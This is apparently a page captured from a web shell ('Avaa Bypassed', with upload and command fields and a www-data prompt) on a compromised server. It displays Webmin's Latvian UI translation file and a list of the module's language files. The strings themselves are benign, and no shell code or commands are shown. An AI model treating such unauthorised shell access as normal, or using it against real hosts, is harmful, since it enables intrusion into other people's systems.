[ Avaa Bypassed ]




Upload:

Command:

www-data@3.137.180.196: ~ $
main_homepage=Sākumlapa
main_feedback=Atsauksmes ..
main_switch=Mainīt lietotāju ..
main_logout=Izlogoties
main_version=$1 versija $2 ($3)
main_title=Webmin $1 vietnē $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Jums nav piekļuves nevienam Webmin modulim.
main_skill=Zināšanu līmenis
main_readonly=(Tikai lasīšanas režīms)
main_return=Atgriezieties sadaļā $1
main_unused=Neizmantoti moduļi
main_refreshmods=Atsvaidziniet moduļus

link_essl=Net::SSLeay Perl modulis, kas nepieciešams HTTPS savienojumu izveidošanai, jūsu sistēmā nav instalēts.

category_servers=Serveri
category_hardware=Aparatūra
category_system=Sistēma
category_webmin=Webmin
category_net=Tīklošana
category_syslet=Sinteles
category_cluster=Klastera
category_info=Informācija
category_=Rīki

longcategory_servers=Tīkla, e-pasta, FTP un citu serveru konfigurācijas moduļi
longcategory_hardware=Moduļi printera, diska un citas aparatūras konfigurēšanai
longcategory_system=Moduļi lietotājiem, failu sistēmas, Cron darbi un citi sistēmas iestatījumi
longcategory_webmin=Paši Webmin konfigurēšanas moduļi
longcategory_net=Tīkla un tīkla pakalpojumu konfigurēšanas moduļi
longcategory_cluster=Moduļi, kas var pārvaldīt vairākus serverus no vienas saskarnes
longcategory_info=Moduļi, kas parāda informāciju par jūsu sistēmu
longcategory_=Moduļi, kas veic citus dažādus uzdevumus

header_webmin=Webmin indekss
header_module=Moduļu indekss
header_help=Palīdzība ..
header_config=Moduļa konfigurācija
header_servers=Webmin serveri

index=indekss
yes=Jā
no=Nē
save=Saglabāt
create=Izveidot
delete=Dzēst
find=Atrodi
error=Kļūda
error_previous=iepriekšējā lapa
error_stack=Zvana steku izsekošana
error_file=Fails
error_line=Līnija
error_sub=Funkcija
error_stackline=Failā $1 rindā $2 izsaucot $3
efilewrite=Neizdevās uzrakstīt $1 : $2 
efileclose=Slēdzot neizdevās uzrakstīt $1 : $2 
efileopen=Neizdevās atvērt $1 rakstīšanai : $2
default=Noklusējums
modify=Modificēt
reset=Atiestatīt
ok=labi
cancel=Atcelt
fail=Neizdevās
helpsearch=Meklēt dokumentos ..
switch_remote_euser=Unix lietotājs $1 neeksistē.
programname=Webmin
euserdbacl=Neizdevās ielādēt lietotāja ACL : $1
euserdbacl2=Neizdevās atjaunināt lietotāja ACL : $1
egroupdbacl=Neizdevās izgūt grupas ACL : $1
egroupdbacl2=Neizdevās atjaunināt grupas ACL : $1

chooser_title1=Izvēlēties failu ..
chooser_title2=Izvēlieties direktoriju ..
chooser_dir=$1 direktorijs
chooser_ok=Labi
chooser_date=Izvēlieties datumu
chooser_eopen=Sarakstīšana neizdevās : $1

users_title1=Atlasiet Lietotāji ..
users_title2=Atlasiet Lietotājs ..
users_sel=Atlasītie lietotāji
users_all=Visi lietotāji
users_ok=Labi
users_cancel=Atcelt
users_clear=Skaidrs

groups_title1=Atlasiet grupas ..
groups_title2=Atlasiet grupu ..
groups_all=Visas grupas
groups_sel=Atlasītās grupas
groups_ok=Labi
groups_cancel=Atcelt
groups_clear=Skaidrs

modules_title1=Atlasiet moduļus ..
modules_title2=Atlasiet moduli ..
modules_sel=Atlasītie moduļi
modules_all=Visi moduļi
modules_ok=Labi
modules_cancel=Atcelt
modules_clear=Skaidrs

config_ecannot=Jums nav atļauts konfigurēt šo moduli
config_title=Konfigurācija
config_dir=Modulim $1
config_header=Konfigurējamas opcijas $1
config_none=Nav
config_eaccess=Jums nav atļauts piekļūt šim modulim
config_emodule=Moduļa nav
config_err=Neizdevās saglabāt konfigurāciju
config_nochange=Nemaini
config_setto=Iestatīts uz
config_ewebmin=14. parametra tips darbojas tikai Webmin

help_err=Neizdevās parādīt palīdzību
help_epath=Trūkst vai nav derīgs palīdzības ceļš
help_efile=Neizdevās nolasīt palīdzības failu $1
help_eheader=Trūkst sadaļas <header>
help_einclude=Neizdevās iekļaut $1
help_eif=$1 neizdevās : $2
help_eexec=$1 neizdevās : $2

referer_title=Drošības brīdinājums
referer_warn=<b>Brīdinājums!</b> Webmin ir atklājis, ka programma $2 ir saistīta ar URL $1, kas, šķiet, atrodas ārpus Webmin serveris. Tas var būt mēģinājums pievilināt serveri bīstamas komandas izpildē.
referer_warn_unknown=<b>Brīdinājums!</b> Webmin ir atklājis, ka programma $1 ir piesaistīta no nezināma URL, kas, šķiet, atrodas ārpus Webmin servera. Tas var būt mēģinājums pievilināt serveri bīstamas komandas izpildē.
referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save.</b></li></ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Pārliecinieties, vai jūsu pārlūkprogramma ir konfigurēta, lai nosūtītu atsauces informāciju, lai Webmin to varētu pārbaudīt.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_header=Pieteikšanās Webmin
session_mesg=Lai pieteiktos Webmin serverī vietnē $1, jums jāievada lietotājvārds un parole.
session_mesg2=Lai pieteiktos, jums jāievada lietotājvārds un parole.
session_user=Lietotājvārds
session_pass=Parole
session_twofactor=Divfaktoru marķieris
session_login=Pieslēgties
session_clear=Skaidrs
session_failed=Pieslēgšanās neizdevās. Lūdzu mēģiniet vēlreiz.
session_twofailed=Divu faktoru autentifikācija neizdevās : $1
session_logout=Atteikšanās ir veiksmīga. Izmantojiet zemāk esošo formu, lai vēlreiz pieteiktos.
session_timed_out=Sesijai beidzās laiks pēc $1 minūšu bezdarbības.
session_save=Vai neatgriezeniski atcerieties pieteikšanos?

pam_header=Pieteikšanās Webmin
pam_mesg=Lai pieteiktos Webmin serverī vietnē $1, jums ir jāatbild uz zemāk redzamo jautājumu.
pam_mesg2=Lai pieteiktos, jums ir jāatbild uz zemāk redzamo jautājumu.
pam_login=Turpināt
pam_restart=Restartēt

acl_root=Sakņu direktorijs failu atlasītājam
acl_otherdirs=Citi redzamie direktoriji failu atlasītājā
acl_nodot=Vai paslēpt punktveida failus failu atlasītājā?
acl_home=Lietotāja mājas katalogs
acl_uedit=Lietotāji, kas redzami lietotāju atlasītājā
acl_uedit_all=Visi lietotāji
acl_uedit_none=Nav lietotāju
acl_uedit_only=Tikai lietotāji
acl_uedit_except=Visi, izņemot lietotājus
acl_uedit_uid=Lietotāji ar UID diapazonā
acl_uedit_group=Lietotāji ar grupu
acl_gedit=Grupas ir redzamas grupas izvēlē
acl_gedit_all=Visas grupas
acl_gedit_none=Nav grupu
acl_gedit_only=Tikai grupas
acl_gedit_except=Visi, izņemot grupas
acl_gedit_gid=Grupas ar GID diapazonā
acl_feedback=Vai var nosūtīt atsauksmes pa e-pastu?
acl_feedback2=Jā
acl_feedback1=Jā, bet ne ar konfigurācijas failiem
acl_feedback0=Nē
acl_feedback3=Jā, ar konfigurācijas failiem
acl_rpc=Vai var pieņemt RPC zvanus?
acl_rpc2=Tikai <tt>saknei</tt> vai <tt>administratoram</tt>
acl_rpc1=Jā
acl_rpc0=Nē
acl_readonly2=Lietotājs darbojas demonstrācijas režīmā?
acl_readonlyyes=Jā (daži moduļi var nebūt pieejami)
acl_negative=Vai piešķirt lietotājam jaunas moduļa atļaujas?
acl_fileunix=Pārlūkojiet failus kā Unix lietotājs
acl_sameunix=Tas pats, kas Webmin pieteikšanās
acl_webminsearch=Rādīt Webmin meklēšanas lauku?

month_1=Janvārī
month_2=Februāris
month_3=Martā
month_4=Aprīlī
month_5=Maijā
month_6=jūnijs
month_7=Jūlijs
month_8=augusts
month_9=Septembrī
month_10=Oktobris
month_11=Novembrī
month_12=Decembrī

day_0=Svētdien
day_1=Pirmdien
day_2=Otrdiena
day_3=Trešdien
day_4=Ceturtdiena
day_5=Piektdiena
day_6=Sestdien

smonth_1=Jan
smonth_2=Februāris
smonth_3=Mar
smonth_4=Aprīlis
smonth_5=Maijā
smonth_6=Jūnijs
smonth_7=Jūl
smonth_8=Aug
smonth_9=Septembris
smonth_10=Oktobris
smonth_11=Novembrī
smonth_12=Decembris

sday_0=Su
sday_1=Mo
sday_2=Tu
sday_3=Mēs
sday_4=Th
sday_5=Fr
sday_6=Sa

emodule=Piekļuve liegta: lietotājam $1 nav atļauts izmantot moduli $2
emodulecheck=Modulis $1 jūsu sistēmā nav pieejams
elock_tries2=Neizdevās bloķēt failu $1 pēc $2 minūtēm. Pēdējā kļūda bija : $3

skill_high=Eksperts
skill_medium=Starpposms
skill_low=Iesācējs

feedback_title=Webmin atsauksmes
feedback_desc=Šī veidlapa ļauj jums ziņot par kļūdām WebMine izstrādātājiem par ieteikumiem, kas saistīti ar visām atrastām problēmām vai trūkstošām funkcijām. Noklikšķinot uz pogas Sūtīt, uz veidlapā ievadīto informāciju tiks nosūtīts e-pasts uz $1.
feedback_desc2=Šīs atsauksmes tiks nosūtītas Webmin izstrādātājam, nevis jūsu sistēmas administratoram, ISP vai mitināšanas uzņēmumam. Lūdzu, rakstiet atsauksmes angļu valodā, pat ja jūs šobrīd darbināt Webmin citā valodā.
feedback_header=Informācija par atsauksmēm
feedback_name=Tavs vārds
feedback_email=Tava epasta adrese
feedback_module=Par moduli
feedback_all=Visi moduļi
feedback_text=Problēmas vai ieteikuma apraksts
feedback_os=Vai e-pastā ir iekļauta operētājsistēmas informācija?
feedback_osdesc=Ja šī opcija ir atlasīta, automātiskajā atgriezeniskās saites e-pastā tiks iekļauts jūsu operētājsistēmas nosaukums un versija.
feedback_config=Vai e-pastā iekļaut moduļa konfigurāciju?
feedback_configdesc=Ja tas ir atlasīts, e-pasta ziņojumā būs ietverta saistītā moduļa konfigurācija un visu konfigurācijas failu saturs, ko modulis izmanto. Piemēram, ja atsauksmes bija saistītas ar <i>Lietotāji un grupas</i> moduli, tiks nosūtīti <tt>/etc/passwd</tt> un <tt>/etc/shadow</tt> faili.
feedback_attach=Papildu pievienotie faili
feedback_send=Sūtīt atsauksmes
feedback_mailserver=Sūtīt caur SMTP serveri
feedback_mailserver_def=Vietējā sendmail programma
feedback_err=Neizdevās nosūtīt atsauksmes
feedback_emodule=Jūs izvēlējāties iekļaut moduļa konfigurāciju e-pastā, bet neizvēlējāties moduli.
feedback_emodule2=Atlasītais modulis neeksistē
feedback_econfig=Jums nav pilnīgas piekļuves izvēlētajam modulim.
feedback_via=Nosūtītas atsauksmes $1 caur SMTP serveri $2
feedback_prog=Nosūtītas atsauksmes $1, izmantojot sendmail programmu $2
feedback_esend=Neizdevās nosūtīt atsauksmes, izmantojot sendmail programmu vai vietējo SMTP serveri.
feedback_to=Nosūtiet atsauksmes uz adresēm
feedback_enoto=Netika ievadīta neviena adrese, uz kuru sūtīt atsauksmes
feedback_ecannot=Jums nav atļauts sūtīt atsauksmes
feedback_ecannot2=Jums nav atļauts sūtīt atsauksmes, kas satur konfigurācijas failus

progress_size2=Notiek $1 lejupielāde ($2) ..
progress_nosize=Notiek $1 lejupielāde ..
progress_datan=Saņemts $1 ($2 %)
progress_data2n=Saņemts $1
progress_done=.. lejupielāde pabeigta.
progress_incache=Kešatmiņā atrasts $1.

readparse_cdheader=Trūkst satura izvietojuma galvenes
readparse_enc=Gaidīja formas datu kodējumu, bet ieguva parasto kodējumu
readparse_max=Dati pārsniedza $1 baitu maksimālo lielumu

password_expired=Jūsu parolei ir beidzies derīguma termiņš, un ir jāizvēlas jauna.
password_temp=Lai aizstātu pagaidu pieteikumvārdu, jums jāizvēlas jauna parole.
password_header=Atlasiet jaunu paroli
password_user=Lietotājvārds
password_old=Pašreizējā parole
password_new1=Jauna parole
password_new2=Atkal jauna parole
password_ok=Pārmaiņas
password_clear=Skaidrs
password_done=Jūsu parole ir veiksmīgi nomainīta. Tagad jūs varat <a href='$1'>pieteikties vēlreiz</a> ar jauno paroli.
password_err=Neizdevās mainīt paroli
password_euser=Jūsu paroles failā netika atrasts jūsu pieteikumvārds.
password_eold=Pašreizējā parole nav pareiza
password_enew1=Jauna parole netika ievadīta
password_enew2=Jaunās paroles nesakrīt
password_epam=PAM kļūda : $1
password_emodpam=Authen::PAM perl modulis, kas nepieciešams paroles maiņai, nav instalēts!
password_enewpass=Jauna parole nav atļauta : $1

ui_mandatory=Šis lauks ir obligāts
ui_checkmandatory=Nekas netika izvēlēts
ui_errors=Tika atrastas vairākas kļūdas :
ui_nothing=Nekas neiebrauca
ui_searchcol=Atrodiet rindas kur
ui_searchfor=Satur tekstu
ui_searchok=Meklēt
ui_selall=Izvēlēties visus.
ui_selinv=Apgrieztā atlase.
ui_edate=Nederīgs datums
ui_etime=Laiks nav derīgs
ui_paging=Rāda rindas $1 uz $2 no $3
ui_rowlabel=$2 rindā $1 :
ui_filterbox=Ierakstiet, lai filtrētu ..

header_statusmsg=$1 pieteicies $2 $3 uz $4 ($5)

uptracker_title=Notiek faila augšupielāde
uptracker_file=Faila nosaukums
uptracker_size=Izmērs
uptracker_pc=Progress
uptracker_eid=Nav norādīts augšupielādes ID
uptracker_eid2=Augšupielādes ID nav derīgs.
uptracker_of=$1 no $2

wsearch_title=Meklēt $1
wsearch_modt=Modulis
wsearch_mtitle=Moduļa nosaukums
wsearch_what=Atbilstošā lapa
wsearch_type=Atbilstības tips
wsearch_mod=$1 modulis
wsearch_config_webmin=Webmin moduļa konfigurēšana
wsearch_config_usermin=Usermin preferences
wsearch_help=Palīdzības lapa
wsearch_inmod=$1
wsearch_text=Lietotāja saskarnes teksts
wsearch_esearch=Netika ievadīts nekas meklējams.
wsearch_enone=Netika atrasti Webmin moduļi vai lapas, kas atbilst $1.
wsearch_on=(Par $1)
wsearch_helpfor=Palīdzība <i>$1</i>
wsearch_htext=Atbilstošs teksts
wsearch_htype=Avots
wsearch_hcgis=Atsauces
wsearch_type_mod=Moduļa nosaukums
wsearch_type_config=Konfigurācija
wsearch_type_help=Palīdzības lapa
wsearch_type_text=Lietotāja interfeiss
wsearch_type_dir=Moduļa URL
wsearch_hmod=Modulis
wsearch_moddir=URL ceļš /$1/
wsearch_searching=Meklē $1 ..
wsearch_found=atrasti $1 rezultāti :

sql_emysqldriver=Neizdevās ielādēt MySQL DBI draiveri
sql_emysqlconnect=Neizdevās izveidot savienojumu ar MySQL datu bāzi : $1
sql_epostgresqldriver=Neizdevās ielādēt PostgreSQL DBI draiveri
sql_epostgresqlconnect=Neizdevās izveidot savienojumu ar PostgreSQL datu bāzi : $1
sql_eldapdriver=Neizdevās ielādēt LDAP perl moduli
sql_eldapconnect=Neizdevās izveidot savienojumu ar LDAP serveri $1
sql_eldaptls=Neizdevās sākt TLS šifrēšanu LDAP : $1
sql_eldaplogin=Neizdevās pieteikties LDAP serverī kā $1 : $2 

log_email_subject=Webmin darbība $1
log_email_global=Webmin globālā darbība
log_email_desc=Šo e-pastu Webmin nosūtīja, atbildot uz lietotāja rīcību.
log_email_mod=Webmin modulis: $1
log_email_moddesc=Moduļa nosaukums: $1
log_email_time=Darbība veikta: $1
log_email_system=Tiek veikts sistēmā: $1
log_email_user=Veic lietotājs: $1
log_email_script=Webmin skripts: $1
log_email_session=Sesijas ID: $1
log_email_remote=Klienta adrese: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TB
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=baiti

langauto_include=Iekļaujiet mašīntulkojumus

file_truncated_message=ienesa $1 no datiem, saīsināja $2 no $3 
file_truncated_message_head=ienesa datu sākumu $1, saīsināja $2 no $3 
file_truncated_message_tail=ienesa datu beigas $1, saīsināja $2 no $3 

Filemanager

Name Type Size Permission Actions
af File 6.61 KB 0644
af.auto File 7.85 KB 0644
ar File 18.71 KB 0644
ar.auto File 787 B 0644
be.auto File 21.68 KB 0644
bg File 9.83 KB 0644
bg.auto File 10.45 KB 0644
ca File 14.48 KB 0644
ca.auto File 706 B 0644
cs File 13.96 KB 0644
cs.auto File 1012 B 0644
da File 13.66 KB 0644
da.auto File 573 B 0644
de File 15.1 KB 0644
de.auto File 390 B 0644
el File 16.96 KB 0644
el.auto File 6.62 KB 0644
en File 13.91 KB 0644
es File 15.14 KB 0644
es.auto File 425 B 0644
eu File 11.85 KB 0644
eu.auto File 2.79 KB 0644
fa File 14.04 KB 0644
fa.auto File 6.38 KB 0644
fi File 10.44 KB 0644
fi.auto File 4.62 KB 0644
fr File 10.98 KB 0644
fr.auto File 5.46 KB 0644
he File 2.44 KB 0644
he.auto File 13.55 KB 0644
hr.auto File 15.04 KB 0644
hu File 9.36 KB 0644
hu.auto File 6.66 KB 0644
it File 15.08 KB 0644
ja File 17.49 KB 0644
ja.auto File 413 B 0644
ko File 12.35 KB 0644
ko.auto File 3.27 KB 0644
lt File 6.77 KB 0644
lt.auto File 8.29 KB 0644
lv.auto File 15.11 KB 0644
ms File 13.49 KB 0644
ms.auto File 1.14 KB 0644
mt.auto File 15.18 KB 0644
nl File 13.67 KB 0644
nl.auto File 1.33 KB 0644
no File 13.85 KB 0644
no.auto File 214 B 0644
pl File 13.81 KB 0644
pl.auto File 1.06 KB 0644
pt File 13.19 KB 0644
pt.auto File 2.11 KB 0644
pt_BR File 7.1 KB 0644
pt_BR.auto File 8.24 KB 0644
ro File 9.69 KB 0644
ro.auto File 5.22 KB 0644
ru File 17.21 KB 0644
ru.auto File 4.05 KB 0644
sk File 8.47 KB 0644
sk.auto File 6.48 KB 0644
sl.auto File 14.74 KB 0644
sv File 2.31 KB 0644
sv.auto File 12.26 KB 0644
th File 4.92 KB 0644
th.auto File 18.93 KB 0644
tr File 2.81 KB 0644
tr.auto File 12.12 KB 0644
uk File 13.95 KB 0644
uk.auto File 6.41 KB 0644
ur.auto File 18.41 KB 0644
vi.auto File 17.28 KB 0644
zh File 9.33 KB 0644
zh.auto File 4.26 KB 0644
zh_TW File 6.42 KB 0644
zh_TW.auto File 6.67 KB 0644